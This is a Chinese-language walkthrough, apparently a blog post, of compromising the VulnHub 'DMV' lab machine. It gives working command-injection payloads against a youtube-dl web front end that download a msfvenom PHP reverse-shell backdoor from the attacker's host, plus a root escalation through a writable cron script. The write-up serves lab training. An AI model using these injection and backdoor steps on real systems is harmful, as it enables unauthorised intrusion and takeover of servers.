vulnhub靶机:DMV

    科技2022-07-10  109

    靶机配置说明:

    靶机下载地址:https://www.vulnhub.com/entry/dmv-1,462/ 靶机:DMV (VirtualBox) IP:192.168.56.112 攻击机:Kali(VMware) IP:192.168.56.108

    在下载地址中有详细的靶机说明,而DMV需要寻找的flag总数为2个。

    靶机环境配置:

    将靶机和kali都桥接到同一张网卡即可,这里我都桥接到virtualBox的Host-only网卡,保证无干扰目标。

    确定目标ip:

    确定目标ip,这里我使用netdiscover或者arp-scan -l探测目标IP,比较快。 netdiscover: arp-scan -l: 根据靶机的MAC地址等信息可确认目标ip为192.168.56.112

    接着通过nmap进行常规的信息探测、端口扫描:

    nmap -A -sC -sV -p- 192.168.56.112

    可以看到开放了22、80端口 直接访问80端口,http://192.168.56.112 好像是一个通过youtube视频ID号转mp3的一个网页 抓包查看其数据返回包 发现报错信息,谷歌找一下其报错信息 发现转换视频格式是用一个python脚本来完成的 https://github.com/ytdl-org/youtube-dl 我们可以看到脚本的执行选项

    youtube-dl [OPTIONS] URL [URL...]

    可以看到在URL前面是可以添加参数选项的 我们验证一下,在url前面加上-h选项 发现他将帮助信息打印出来了

    而在后面的后操作选项中,我们看到有一个–exec选项 我们尝试执行–exec选项 发现–exec后面的内容被截断了,猜测估计是根据空格来进行截断的 猜测没错,那么直接将空格去掉试试

    yt_url=--exec'whoami'

    但是并不能执行,测试将引号改成反引号

    yt_url=--exec`whoami`

    成功执行命令,这里估计连引号也被过滤了 在尝试是否能执行其他内容,查看下/etc/passwd的内容,由于空格被过滤了,所以,这里需要用其他方式绕过,比如 、 、 、${IFS}等

    显示的结果很明显不全。。就显示返回结果的几个字符

    yt_url=--exec`cat${IFS}/etc/passwd`

    不管,能执行命令就行,直接弹一个shell回来 这里测试可以发现wget是可以用的

    yt_url=--exec`wget${IFS}-h`

    那么我们就可以利用wget来下载后门 先生成一个后门,这里我使用msfvenom来生成后门

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.108 LPORT=8888 -f raw -o shell.php

    生成木马后,在MSF中设置监听:

    use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 192.168.56.108 set LPORT 8888 run -j

    接着利用python在shell.php的路径开一个小型的http服务 python2:

    python -m SimpleHTTPServer 1000

    python3:

    python3 -m http.server 1000

    在命令执行处使用wget去下载kali的后门

    yt_url=--exec`wget${IFS}http://192.168.56.108:1000/shell.php`

    下载完成后,再任意形式访问下后门来触发shell msf成功拿到一个meterpreter会话。 进入shell,并切换到交互式shell

    python -c "import pty;pty.spawn('/bin/bash')"

    成功拿到第一个flag:/var/www/html/admin/flag.txt 在/var/www/html/tmp目录下发现一个clean.sh 也没有权限执行 这里需要使用PSPY来检测后台的root进程 pspy: https://github.com/DominicBreuker/pspy/releases 将pspy通过wget上传上去 执行,发现没权限 给个执行权限就好了 可以看到clean.sh是通过root权限执行的 可以发现我们是有写的权限的 那我们可以尝试写一个反弹shell回来,拿到root权限 kali上开启监听: 写入反弹:

    成功弹回shell,我们切换到交互式shell 在/root目录下找到第二个flag

    Processed: 0.019, SQL: 8